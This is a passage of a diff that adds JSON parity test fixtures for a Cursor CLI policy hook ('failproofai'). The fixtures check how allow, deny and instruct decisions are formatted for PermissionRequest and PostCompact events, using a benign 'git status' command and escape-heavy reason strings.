because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..a08f56de --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..66556cf8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a039cf8b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..396aa100 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a2934d00 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8cea7767 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..406d8df4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9b95eb12 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..1a44bac0 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..846be721 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..08f357e7 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..8fcff80d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1b2d2afa --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..802d9bb4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..afd738cb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..91a36702 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..1be1f2ec --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..5e781004 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostCompact/instruct__tool-absent__two-policies.json 